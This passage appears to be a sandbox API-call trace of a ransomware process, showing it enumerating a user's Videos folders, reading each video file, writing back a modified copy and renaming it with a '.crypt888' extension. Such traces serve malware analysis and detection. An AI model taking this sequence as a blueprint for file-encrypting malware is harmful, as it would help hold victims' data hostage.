lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4", lpFilePart=0x0) returned 0x4d [0085.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4.crypt888", lpFilePart=0x0) returned 0x56 [0085.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.388] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\fdxk8w6qy7zob2xnf.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf312fcf0, ftCreationTime.dwHighDateTime=0x1d457fc, ftLastAccessTime.dwLowDateTime=0xe8039dc0, ftLastAccessTime.dwHighDateTime=0x1d45cc9, ftLastWriteTime.dwLowDateTime=0xc417b020, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb890)) returned 1 [0085.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.389] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\fdxk8w6qy7zob2xnf.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\fdxk8w6QY7zob2xnF.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\fdxk8w6qy7zob2xnf.mp4.crypt888")) returned 1 [0085.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", lpFilePart=0x0) returned 0x44 [0085.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\ht6rpkuc.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.390] GetFileType (hFile=0x174) returned 0x1 [0085.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.390] GetFileType (hFile=0x174) returned 0x1 [0085.390] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x11e19 [0085.390] ReadFile (in: hFile=0x174, lpBuffer=0x27cf838, nNumberOfBytesToRead=0x11e19, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27cf838*, lpNumberOfBytesRead=0x39ecf0*=0x11e19, lpOverlapped=0x0) returned 1 [0085.391] CloseHandle (hObject=0x174) returned 1 [0085.415] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", lpFilePart=0x0) returned 0x44 [0085.415] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\ht6rpkuc.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.418] GetFileType (hFile=0x174) returned 0x1 [0085.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.418] GetFileType (hFile=0x174) returned 0x1 [0085.418] WriteFile (in: hFile=0x174, lpBuffer=0x2852074*, nNumberOfBytesToWrite=0x11e20, lpNumberOfBytesWritten=0x39ece0, lpOverlapped=0x0 | out: lpBuffer=0x2852074*, lpNumberOfBytesWritten=0x39ece0*=0x11e20, lpOverlapped=0x0) returned 1 [0085.420] CloseHandle (hObject=0x174) returned 1 [0085.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4", lpFilePart=0x0) returned 0x44 [0085.425] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4.crypt888", lpFilePart=0x0) returned 0x4d [0085.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.425] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\ht6rpkuc.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803bbd20, ftCreationTime.dwHighDateTime=0x1d45da6, ftLastAccessTime.dwLowDateTime=0x101c6e00, ftLastAccessTime.dwHighDateTime=0x1d460b6, ftLastWriteTime.dwLowDateTime=0xc41c72e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x11e20)) returned 1 [0085.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\ht6rpkuc.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Ht6rpkUC.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\ht6rpkuc.mp4.crypt888")) returned 1 [0085.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq", lpFilePart=0x0) returned 0x40 [0085.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\", lpFilePart=0x0) returned 0x41 [0085.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a128 [0085.432] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.433] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.433] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.433] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.433] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.433] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.433] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0085.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.433] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq", lpFilePart=0x0) returned 0x40 [0085.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\", lpFilePart=0x0) returned 0x41 [0085.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a128 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.434] FindNextFileW (in: hFindFile=0x59a128, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.434] FindClose (in: hFindFile=0x59a128 | out: hFindFile=0x59a128) returned 1 [0085.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.435] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", lpFilePart=0x0) returned 0x59 [0085.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sfttmybwmksqxar20sur.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.435] GetFileType (hFile=0x174) returned 0x1 [0085.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.435] GetFileType (hFile=0x174) returned 0x1 [0085.435] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xa2e7 [0085.435] ReadFile (in: hFile=0x174, lpBuffer=0x2866a78, nNumberOfBytesToRead=0xa2e7, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2866a78*, lpNumberOfBytesRead=0x39ecbc*=0xa2e7, lpOverlapped=0x0) returned 1 [0085.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", lpFilePart=0x0) returned 0x59 [0085.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.481] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sfttmybwmksqxar20sur.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.482] GetFileType (hFile=0x174) returned 0x1 [0085.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.482] GetFileType (hFile=0x174) returned 0x1 [0085.482] WriteFile (in: hFile=0x174, lpBuffer=0x26f1644*, nNumberOfBytesToWrite=0xa2f0, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x26f1644*, lpNumberOfBytesWritten=0x39ecac*=0xa2f0, lpOverlapped=0x0) returned 1 [0085.484] CloseHandle (hObject=0x174) returned 1 [0085.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4", lpFilePart=0x0) returned 0x59 [0085.485] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4.crypt888", lpFilePart=0x0) returned 0x62 [0085.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sfttmybwmksqxar20sur.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda829b0, ftCreationTime.dwHighDateTime=0x1d4594f, ftLastAccessTime.dwLowDateTime=0x93f1b600, ftLastAccessTime.dwHighDateTime=0x1d4614b, ftLastWriteTime.dwLowDateTime=0xc425f860, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa2f0)) returned 1 [0085.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sfttmybwmksqxar20sur.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\SfTTMYBwMKsqxar20SUR.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sfttmybwmksqxar20sur.mp4.crypt888")) returned 1 [0085.486] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", lpFilePart=0x0) returned 0x50 [0085.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sha5lxj5eq1.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.486] GetFileType (hFile=0x174) returned 0x1 [0085.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.486] GetFileType (hFile=0x174) returned 0x1 [0085.486] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x767d [0085.486] ReadFile (in: hFile=0x174, lpBuffer=0x26fbe54, nNumberOfBytesToRead=0x767d, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26fbe54*, lpNumberOfBytesRead=0x39ecbc*=0x767d, lpOverlapped=0x0) returned 1 [0085.487] CloseHandle (hObject=0x174) returned 1 [0085.499] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", lpFilePart=0x0) returned 0x50 [0085.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sha5lxj5eq1.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.501] GetFileType (hFile=0x174) returned 0x1 [0085.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.501] GetFileType (hFile=0x174) returned 0x1 [0085.501] WriteFile (in: hFile=0x174, lpBuffer=0x276ddf8*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x276ddf8*, lpNumberOfBytesWritten=0x39ecac*=0x7680, lpOverlapped=0x0) returned 1 [0085.502] CloseHandle (hObject=0x174) returned 1 [0085.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi", lpFilePart=0x0) returned 0x50 [0085.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi.crypt888", lpFilePart=0x0) returned 0x59 [0085.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sha5lxj5eq1.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbea447c0, ftCreationTime.dwHighDateTime=0x1d45d93, ftLastAccessTime.dwLowDateTime=0x60d5a4e0, ftLastAccessTime.dwHighDateTime=0x1d461c6, ftLastWriteTime.dwLowDateTime=0xc42abb20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7680)) returned 1 [0085.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.503] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sha5lxj5eq1.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\sha5LXJ5Eq1.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\sha5lxj5eq1.avi.crypt888")) returned 1 [0085.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", lpFilePart=0x0) returned 0x4f [0085.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\yuxbgkrlqr.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.505] GetFileType (hFile=0x174) returned 0x1 [0085.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.505] GetFileType (hFile=0x174) returned 0x1 [0085.505] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xa8cf [0085.505] ReadFile (in: hFile=0x174, lpBuffer=0x2775938, nNumberOfBytesToRead=0xa8cf, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2775938*, lpNumberOfBytesRead=0x39ecbc*=0xa8cf, lpOverlapped=0x0) returned 1 [0085.506] CloseHandle (hObject=0x174) returned 1 [0085.519] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", lpFilePart=0x0) returned 0x4f [0085.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.519] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\yuxbgkrlqr.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.520] GetFileType (hFile=0x174) returned 0x1 [0085.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.521] GetFileType (hFile=0x174) returned 0x1 [0085.521] WriteFile (in: hFile=0x174, lpBuffer=0x27e2184*, nNumberOfBytesToWrite=0xa8d0, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x27e2184*, lpNumberOfBytesWritten=0x39ecac*=0xa8d0, lpOverlapped=0x0) returned 1 [0085.522] CloseHandle (hObject=0x174) returned 1 [0085.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4", lpFilePart=0x0) returned 0x4f [0085.524] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 